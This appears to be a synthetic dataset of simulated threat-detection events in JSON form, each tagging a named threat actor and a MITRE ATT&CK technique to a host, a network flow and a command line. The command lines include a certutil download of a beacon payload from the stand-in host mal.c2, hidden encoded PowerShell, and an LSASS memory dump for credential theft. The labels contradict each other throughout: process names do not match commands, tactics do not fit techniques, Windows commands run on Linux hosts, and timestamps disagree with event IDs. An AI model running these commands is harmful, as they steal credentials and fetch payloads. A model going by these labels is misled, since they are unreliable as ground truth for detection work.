text
stringlengths
1.13k
1.33k
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_fin7_20251115T233407000Z_0002201","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.218.188.198","name":"WIN-FIN-SRV-LF49RYSIZA","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2201FIN7T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.140.65.107","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-02T13:45:49.000Z","user":{"name":"arn:aws:iam::6es7owaqadnm","sid":"S-1-5-21-340926294-991191198-9788"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion","Credential Access","Collection"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20261206T133308000Z_0002203","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.135.69.186","name":"IAM-ROLE-P9BWQ8R91T","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2203APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.11.24.166","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-02-06T00:07:16.000Z","user":{"name":"i-ffh3a40kz6za","sid":"S-1-5-21-166263155-135020314-7464"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Discovery"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250926T101934000Z_0002205","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.205.214.16","name":"WIN-FIN-SRV-H3Q98M7W0Z","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2205Mustang PandaT1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.154.244.21","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-03-04T19:18:32.000Z","user":{"name":"svc_nqzu1w40sk4o","sid":"S-1-5-21-848341474-793164856-9506"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Privilege Escalation","Credential Access"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20261111T012246000Z_0002207","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.245.157.57","name":"APP-WEB-95OVVLEESG","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2207Lapsus$T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.132.137.205","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-26T10:26:51.000Z","user":{"name":"azuread\\3r8xj4tedolb","sid":"S-1-5-21-826813168-476457180-3066"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Lateral Movement","Impact","Discovery"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260829T074938000Z_0002209","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.150.41.78","name":"APP-WEB-V8MJTHFR3M","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2209Lapsus$T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.125.252.147","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1316 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-07-02T17:24:32.000Z","user":{"name":"azuread\\k0iu6a5glrx1","sid":"S-1-5-21-796519643-535800730-5368"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20250731T055052000Z_0002211","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.20.229.52","name":"AZURE-VM-3S1JBNZLYT","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2211APT29T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.5.133.206","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-08-06T14:02:54.000Z","user":{"name":"arn:aws:iam::owcfar58wxuc","sid":"S-1-5-21-935323239-578468824-2111"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Exfiltration","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20251121T034939000Z_0002213","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.22.214.85","name":"AZURE-VM-W8NIRTX9GV","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2213Mustang PandaT1484.001"},"network":{"domain":"github.com","dst_ip":"1.19.209.134","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-08-24T11:11:01.000Z","user":{"name":"azuread\\1b2kxc8s55id","sid":"S-1-5-21-459476404-272135914-8120"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_apt29_20261021T140253000Z_0002215","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.135.189.200","name":"DB-ORACLE-H4WW3OQP2L","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2215APT29T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.34.110.132","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-14T03:14:00.000Z","user":{"name":"CORP\\zof4tpx3t8uj","sid":"S-1-5-21-679313068-688745620-1025"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Persistence","Defense Evasion","Impact"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20260511T113357000Z_0002217","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.60.46.85","name":"DB-ORACLE-LIGR4JO9H1","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2217Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.105.17.83","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-02-23T11:08:28.000Z","user":{"name":"CORP\\2wyv99tkgziv","sid":"S-1-5-21-173004927-251153189-2510"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Command and Control","Credential Access","Persistence"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20251223T044723000Z_0002219","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.39.104.214","name":"AZURE-VM-1GBCIVU43Q","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2219UNC4841T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.37.13.41","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-26T05:43:34.000Z","user":{"name":"CORP\\r3c4zp564hdd","sid":"S-1-5-21-419576369-507711773-2367"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Privilege Escalation","Collection"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20260521T082641000Z_0002221","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.34.166.53","name":"APP-WEB-T2GRSUY6PU","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2221UNC4841T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.100.116.108","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-26T11:52:46.000Z","user":{"name":"azuread\\km4pdtcj8pp0","sid":"S-1-5-21-791857543-471606141-4957"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection","Reconnaissance","Discovery"],"technique_id":"T1531"},"event_id":"evt_apt29_20260210T052250000Z_0002223","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.24.99.228","name":"WIN-FIN-SRV-N2CKGM0C8A","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2223APT29T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.62.20.234","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-11T07:47:11.000Z","user":{"name":"svc_dl8biksjkhhp","sid":"S-1-5-21-125263611-985443905-3118"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Discovery","Persistence","Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20251208T005140000Z_0002225","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.42.203.91","name":"IAM-ROLE-FSJIB6L3KW","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2225Scattered SpiderT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.51.51.183","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1242 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-05-25T01:54:50.000Z","user":{"name":"azuread\\pz0u4gx2vy31","sid":"S-1-5-21-670682332-266682789-5716"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Lateral Movement","Impact"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20260712T140925000Z_0002227","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.247.255.82","name":"DB-ORACLE-HQ7D43T4DB","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2227APT41T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.86.78.100","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1254 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-03T19:33:52.000Z","user":{"name":"CORP\\08t557md2e61","sid":"S-1-5-21-188796291-434840027-9149"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Impact","Defense Evasion","Execution"],"technique_id":"T1570"},"event_id":"evt_apt41_20250402T081302000Z_0002229","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.247.168.184","name":"IAM-ROLE-N8SQJAG0DL","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2229APT41T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.145.71.53","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3474 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-10T04:42:23.000Z","user":{"name":"i-715iliz1adom","sid":"S-1-5-21-115127852-227682390-5719"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Exfiltration","Initial Access"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20251120T122635000Z_0002231","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.60.164.127","name":"WIN-FIN-SRV-HUSYX6VZ3J","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2231APT29T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.128.67.208","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-01T01:54:16.000Z","user":{"name":"i-r50cc2app862","sid":"S-1-5-21-114497319-721539032-6754"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20250423T162520000Z_0002233","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.223.140.145","name":"WIN-FIN-SRV-C8J64SFNST","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2233UNC4841T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.163.29.222","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-04-27T23:04:10.000Z","user":{"name":"arn:aws:iam::6qomq6u52x2e","sid":"S-1-5-21-999629463-331041675-5917"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Initial Access","Persistence","Lateral Movement"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260717T222357000Z_0002235","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.170.10.196","name":"EC2-INST-EMJ7JX8B3P","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2235Volt TyphoonT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.96.235.94","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-02T09:42:08.000Z","user":{"name":"arn:aws:iam::thr5je9ld00y","sid":"S-1-5-21-755826931-960356287-4014"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Collection","Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20250329T074129000Z_0002237","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.140.13.195","name":"EC2-INST-JK0C2RSN3U","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2237APT41T1566.001"},"network":{"domain":"github.com","dst_ip":"1.43.140.98","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1410 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-28T09:14:55.000Z","user":{"name":"azuread\\iekvr9urlt4u","sid":"S-1-5-21-266628099-111327552-3241"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion","Command and Control","Initial Access"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20251001T021051000Z_0002239","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.35.233.56","name":"WIN-FIN-SRV-FOZZCHS0ZT","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2239Scattered SpiderT1570"},"network":{"domain":"github.com","dst_ip":"1.117.172.38","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-25T18:48:53.000Z","user":{"name":"azuread\\di0owdl763j8","sid":"S-1-5-21-926866379-595157573-4316"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Exfiltration","Execution","Discovery"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20251001T182214000Z_0002241","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.110.245.74","name":"DB-ORACLE-80409B9HKE","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2241FIN7T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.120.221.186","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1606 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-13T09:21:29.000Z","user":{"name":"svc_guyw4sncbuij","sid":"S-1-5-21-637723383-331520583-2788"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Lateral Movement","Command and Control","Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20251215T095917000Z_0002243","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.76.51.133","name":"WIN-FIN-SRV-T3BR2CUQ3D","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2243Scattered SpiderT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.38.41.52","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-07T18:22:11.000Z","user":{"name":"azuread\\dnu1drc41riw","sid":"S-1-5-21-543881919-899507386-3691"}}
